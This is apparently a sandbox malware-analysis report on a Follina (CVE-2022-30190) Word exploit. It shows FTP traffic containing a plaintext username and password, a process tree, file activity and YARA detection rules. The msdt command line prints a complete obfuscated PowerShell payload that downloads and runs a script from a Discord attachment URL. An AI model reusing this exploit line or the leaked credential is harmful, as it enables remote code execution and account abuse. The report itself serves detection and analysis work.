220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 360 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 360 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login220 You will 
be disconnected after 60 seconds of inactivity.

Sep 20, 2022 12:08:38.499424934 CEST 49716 21 192.168.2.5 185.27.134.11 USER epiz_32594997

Sep 20, 2022 12:08:38.544709921 CEST 21 49716 185.27.134.11 192.168.2.5 331 User epiz_32594997 OK. Password required

Sep 20, 2022 12:08:38.544862032 CEST 49716 21 192.168.2.5 185.27.134.11 PASS FKmeEtIWDg

Sep 20, 2022 12:08:38.610438108 CEST 21 49716 185.27.134.11 192.168.2.5 230-Your bandwidth usage is restricted
230-Your bandwidth usage is restricted230 OK. Current restricted 
directory is /

Sep 20, 2022 12:08:38.613048077 CEST 49716 21 192.168.2.5 185.27.134.11 TYPE I

Sep 20, 2022 12:08:38.658603907 CEST 21 49716 185.27.134.11 192.168.2.5 200 TYPE is now 8-bit binary

Sep 20, 2022 12:08:38.663727999 CEST 49716 21 192.168.2.5 185.27.134.11 PASV

Sep 20, 2022 12:08:38.709206104 CEST 21 49716 185.27.134.11 192.168.2.5 227 Entering Passive Mode (185,27,134,11,64,193)

Sep 20, 2022 12:08:38.802753925 CEST 21 49716 185.27.134.11 192.168.2.5 213 6827

Sep 20, 2022 12:08:38.803281069 CEST 49716 21 192.168.2.5 185.27.134.11 RETR /htdocs/a.html

Sep 20, 2022 12:08:38.849515915 CEST 21 49716 185.27.134.11 192.168.2.5 150-Accepted data connection
150-Accepted data connection150 6.7 kbytes to download

Sep 20, 2022 12:08:38.849849939 CEST 21 49716 185.27.134.11 192.168.2.5 226-File successfully transferred
226-File successfully transferred226 0.000 seconds (measured here), 
67.10 Mbytes per second

Sep 20, 2022 12:09:21.326653004 CEST 21 49708 185.27.134.11 192.168.2.5 421 Timeout - try typing a little faster next time

Sep 20, 2022 12:09:28.646837950 CEST 21 49712 185.27.134.11 192.168.2.5 421 Timeout - try typing a little faster next time

Sep 20, 2022 12:09:30.786005020 CEST 21 49707 185.27.134.11 192.168.2.5 421 Timeout - try typing a little faster next time

Sep 20, 2022 12:09:38.948595047 CEST 21 49716 185.27.134.11 192.168.2.5 421 Timeout - try typing a little faster next time

Timestamp
Source
Port

Dest
Port

Source IP Dest IP Commands
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• WINWORD.EXE

• MSOSYNC.EXE

• msdt.exe

• csc.exe

• cvtres.exe

• csc.exe

• cvtres.exe

• Putty.exe

• csc.exe

• cmd.exe

• powershell.exe

• conhost.exe

• cvtres.exe

• conhost.exe

• taskkill.exe

• taskkill.exe

• msiexec.exe

• sc.exe

• msiexec.exe

• netsh.exe

• Dism.exe

• tor.exe

• conhost.exe

Click to jump to process

Target ID: 0

Start time: 12:08:13

Start date: 20/09/2022

Path: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Wow64 process (32bit): true

Commandline: "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding

Imagebase: 0xc50000

File size: 1937688 bytes

MD5 hash: 0B9AB9B9C4DE429473D6450D4297A123

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Target ID: 1

Start time: 12:08:19

Start date: 20/09/2022

Path: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE

Wow64 process (32bit): true

Commandline: C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe

Imagebase: 0x930000

File size: 466688 bytes

MD5 hash: EA19F4A0D18162BE3A0C8DAD249ADE8C

Statistics

Behavior

System Behavior

Analysis Process: WINWORD.EXE PID: 5896, Parent PID: 788

General

File Activities

Registry Activities

Analysis Process: MSOSYNC.EXE PID: 2804, Parent PID: 5896

General
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Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: moderate

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 3

Start time: 12:08:36

Start date: 20/09/2022

Path: C:\Windows\SysWOW64\msdt.exe

Wow64 process (32bit): true

Commandline: C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFil
e=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64St
ring('+[char]34+'JCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzEwMTk3NjgyNDMzNDA
yMDIwNDYvMTAxOTk5NjQ5NTg1ODExODc0Ny9wb3dlcnNoZWxsLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4L
kNvbnRlbnQpKQ=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO

Imagebase: 0xcf0000

File size: 1508352 bytes

MD5 hash: 7F0C51DBA69B9DE5DDF6AA04CE3A69F4

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

File Activities

Registry Activities

Analysis Process: msdt.exe PID: 5324, Parent PID: 5896

General

Copyright Joe Security LLC 2022 Page 150 of 173



Yara matches: Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware 
hosting on a legitimate FQDN), Source: 00000003.00000002.601166734.0000000000870000.00000004.00000020.00020000.00000000.sdmp, Author: 
Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
00000003.00000002.601166734.0000000000870000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard
Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 
00000003.00000002.601166734.0000000000870000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware 
hosting on a legitimate FQDN), Source: 00000003.00000002.609276598.00000000046A0000.00000004.00000800.00020000.00000000.sdmp, Author: 
Florian Roth
Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware 
hosting on a legitimate FQDN), Source: 00000003.00000002.608359190.0000000000A80000.00000004.00000020.00020000.00000000.sdmp, Author: 
Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
00000003.00000002.608359190.0000000000A80000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard
Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 
00000003.00000002.608359190.0000000000A80000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware 
hosting on a legitimate FQDN), Source: 00000003.00000002.612683977.0000000004FB4000.00000004.00000800.00020000.00000000.sdmp, Author: 
Florian Roth
Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware 
hosting on a legitimate FQDN), Source: 00000003.00000002.601293130.0000000000878000.00000004.00000020.00020000.00000000.sdmp, Author: 
Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
00000003.00000002.601293130.0000000000878000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard
Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware 
hosting on a legitimate FQDN), Source: 00000003.00000002.601032733.0000000000700000.00000004.00000020.00020000.00000000.sdmp, Author: 
Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
00000003.00000002.601032733.0000000000700000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard
Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 
00000003.00000002.601032733.0000000000700000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware 
hosting on a legitimate FQDN), Source: 00000003.00000002.604130120.00000000008DF000.00000004.00000020.00020000.00000000.sdmp, Author: 
Florian Roth

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 D1BFE8 CreateDirect
oryW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 D1BFE8 CreateDirect
oryW

C:\Users\user\AppData read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 D1BFE8 CreateDirect
oryW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 D1BFE8 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 D1BFE8 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp\msdtadmin read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 D1BFE8 CreateDirect
oryW

C:\Users\user\AppData\Local\Te
mp\msdtadmin\_1349A846-024F-4784-8DFC-
E17A16A9DD11_

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 D1BFE8 CreateDirect
oryW

File Activities

File Created
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C:\Users\user\AppData\Local\Te
mp\msdtadmin\_1349A846-024F-4784-8DFC-
E17A16A9DD11_\inuse

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 D1B734 CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 13

Start time: 12:09:20

Start date: 20/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.cmdline

Imagebase: 0x9e0000

File size: 2170976 bytes

MD5 hash: 350C52F71BDED7B99668585C15D70EEA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

c:\Users\user\AppData\Local\Te
mp\3diak4dk\CSC56B0CC012315459
3BDAD723DDD27D88.TMP

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 A3E1E9 CreateFileW

File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP success or wait 1 A59793 DeleteFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Analysis Process: csc.exe PID: 5576, Parent PID: 612

General

File Activities

File Created

File Deleted

File Written
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C:\Users\user\AppData\Local\Te
mp\3diak4dk\CSC56B0CC012315459
3BDAD723DDD27D88.TMP

0 652 00 00 00 00 20 00 00 00 
fd fd 00 00 fd fd 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 4c 
02 00 00 3c 00 00 00 fd 
fd 10 00 fd fd 01 00 00 00 
00 00 30 00 00 00 00 00 
00 00 00 00 00 00 4c 02 
34 00 00 00 56 00 53 00 
5f 00 56 00 45 00 52 00 
53 00 49 00 4f 00 4e 00 
5f 00 49 00 4e 00 46 00 
4f 00 00 00 00 00 fd 04 fd 
fd 00 00 01 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 3f 00 00 
00 00 00 00 00 04 00 00 
00 02 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 44 00 00 00 01 00 56 
00 61 00 72 00 46 00 69 
00 6c 00 65 00 49 00 6e 
00 66 00 6f 00 00 00 00 
00 24 00 04 00 00 00 54 
00 72 00 61 00 6e 00 73 
00 6c 00 61 00 74 00 69 
00 6f 00 6e 00 00 00 00 
00 00 00 fd 04 fd 01 00 
00 01 00 53 00 74 00 72 
00 69 00 6e 00 67 00 46 
00 69 00 6c 00 65 00 49 
00 6e 00 66 

 L<0L4VS_VERSION_IN
FO?DVarFile
Info$TranslationStringFile
Inf

success or wait 1 A5967F WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.cmdline unknown 358 success or wait 1 A3E638 ReadFile

C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.0.cs unknown 5944 success or wait 1 A3E638 ReadFile

Target ID: 14

Start time: 12:09:22

Start date: 20/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RE
S8678.tmp" "c:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP"

Imagebase: 0xe10000

File size: 43176 bytes

MD5 hash: C09985AE74F0882F208D75DE27770DFA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

File Read

Analysis Process: cvtres.exe PID: 2856, Parent PID: 5576

General

File Activities

Analysis Process: csc.exe PID: 4128, Parent PID: 612
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Target ID: 15

Start time: 12:09:29

Start date: 20/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.cmdline

Imagebase: 0x9e0000

File size: 2170976 bytes

MD5 hash: 350C52F71BDED7B99668585C15D70EEA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

c:\Users\user\AppData\Local\Te
mp\2ez4s4sm\CSCC4857CBF94FC43E
4BEE19B9FB307AC3.TMP

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 A3E1E9 CreateFileW

File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP success or wait 1 A59793 DeleteFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Te
mp\2ez4s4sm\CSCC4857CBF94FC43
E4BEE19B9FB307AC3.TMP

0 652 00 00 00 00 20 00 00 00 
fd fd 00 00 fd fd 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 4c 
02 00 00 3c 00 00 00 fd 
fd 10 00 fd fd 01 00 00 00 
00 00 30 00 00 00 00 00 
00 00 00 00 00 00 4c 02 
34 00 00 00 56 00 53 00 
5f 00 56 00 45 00 52 00 
53 00 49 00 4f 00 4e 00 
5f 00 49 00 4e 00 46 00 
4f 00 00 00 00 00 fd 04 fd 
fd 00 00 01 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 3f 00 00 
00 00 00 00 00 04 00 00 
00 02 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 44 00 00 00 01 00 56 
00 61 00 72 00 46 00 69 
00 6c 00 65 00 49 00 6e 
00 66 00 6f 00 00 00 00 
00 24 00 04 00 00 00 54 
00 72 00 61 00 6e 00 73 
00 6c 00 61 00 74 00 69 
00 6f 00 6e 00 00 00 00 
00 00 00 fd 04 fd 01 00 
00 01 00 53 00 74 00 72 
00 69 00 6e 00 67 00 46 
00 69 00 6c 00 65 00 49 
00 6e 00 66 

 L<0L4VS_VERSION_IN
FO?DVarFile
Info$TranslationStringFile
Inf

success or wait 1 A5967F WriteFile

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.cmdline unknown 358 success or wait 1 A3E638 ReadFile

C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.0.cs unknown 791 success or wait 1 A3E638 ReadFile

General

File Activities

File Created

File Deleted

File Written

File Read

Analysis Process: cvtres.exe PID: 1316, Parent PID: 4128
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Target ID: 16

Start time: 12:09:31

Start date: 20/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RE
SA72F.tmp" "c:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP"

Imagebase: 0xe10000

File size: 43176 bytes

MD5 hash: C09985AE74F0882F208D75DE27770DFA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 17

Start time: 12:09:42

Start date: 20/09/2022

Path: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

Wow64 process (32bit): false

Commandline: C:\Windows\TEMP\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

Imagebase: 0x140000000

File size: 10997760 bytes

MD5 hash: C435B2E60242FA557EC5FE675D63EE42

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

General

File Activities

Analysis Process: Putty.exe PID: 5812, Parent PID: 612

General

File Activities

Registry Activities
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Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 18

Start time: 12:09:59

Start date: 20/09/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.cmdline

Imagebase: 0x9e0000

File size: 2170976 bytes

MD5 hash: 350C52F71BDED7B99668585C15D70EEA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

c:\Users\user\AppData\Local\Te
mp\vniik5rq\CSCFD2BA8049D36413
3B9FE5D3896759AE.TMP

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 A3E1E9 CreateFileW

File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP success or wait 1 A59793 DeleteFileW

File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Te
mp\vniik5rq\CSCFD2BA8049D36413
3B9FE5D3896759AE.TMP

0 652 00 00 00 00 20 00 00 00 
fd fd 00 00 fd fd 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 4c 
02 00 00 3c 00 00 00 fd 
fd 10 00 fd fd 01 00 00 00 
00 00 30 00 00 00 00 00 
00 00 00 00 00 00 4c 02 
34 00 00 00 56 00 53 00 
5f 00 56 00 45 00 52 00 
53 00 49 00 4f 00 4e 00 
5f 00 49 00 4e 00 46 00 
4f 00 00 00 00 00 fd 04 fd 
fd 00 00 01 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 3f 00 00 
00 00 00 00 00 04 00 00 
00 02 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 44 00 00 00 01 00 56 
00 61 00 72 00 46 00 69 
00 6c 00 65 00 49 00 6e 
00 66 00 6f 00 00 00 00 
00 24 00 04 00 00 00 54 
00 72 00 61 00 6e 00 73 
00 6c 00 61 00 74 00 69 
00 6f 00 6e 00 00 00 00 
00 00 00 fd 04 fd 01 00 
00 01 00 53 00 74 00 72 
00 69 00 6e 00 67 00 46 
00 69 00 6c 00 65 00 49 
00 6e 00 66 

 L<0L4VS_VERSION_IN
FO?DVarFile
Info$TranslationStringFile
Inf

success or wait 1 A5967F WriteFile

File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.cmdline unknown 358 success or wait 1 A3E638 ReadFile

Analysis Process: csc.exe PID: 3896, Parent PID: 612

General

File Activities

File Created

File Deleted

File Written

File Read
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C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.0.cs unknown 11965 success or wait 1 A3E638 ReadFile

File Path Offset Length Completion Count Source Address Symbol

Target ID: 19

Start time: 12:10:01

Start date: 20/09/2022

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd.exe

Imagebase: 0x7ff627730000

File size: 273920 bytes

MD5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

stdin unknown 1 success or wait 283 7FF62773F404 ReadFile

Target ID: 20

Start time: 12:10:01

Start date: 20/09/2022

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: powershell.exe

Imagebase: 0x7ff7fbaf0000

File size: 447488 bytes

MD5 hash: 95000560239032BC68B4C2FDFCDEF913

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

Analysis Process: cmd.exe PID: 572, Parent PID: 5812

General

File Activities

File Read

Analysis Process: powershell.exe PID: 5476, Parent PID: 5812

General

File Activities

File Created
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C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_jg5bteof.tz5.ps1

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 7FFA03946FDD CreateFileW

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_zxw3el1z.0aw.psm1

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 7FFA03946FDD CreateFileW

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 2 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 2 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

File Path Access Attributes Options Completion Count Source Address Symbol
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C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 3 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 2 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA00C603FC unknown

C:\Windows\system32\catroot read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 8 7FFA00C603FC unknown

C:\Windows\system32\catroot2 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 8 7FFA00C603FC unknown

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA04B1F1E9 unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FFA04B1F1E9 unknown

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 1 7FFA03946FDD CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-Interactive

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 7FFA04E111E7 CreateFileW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

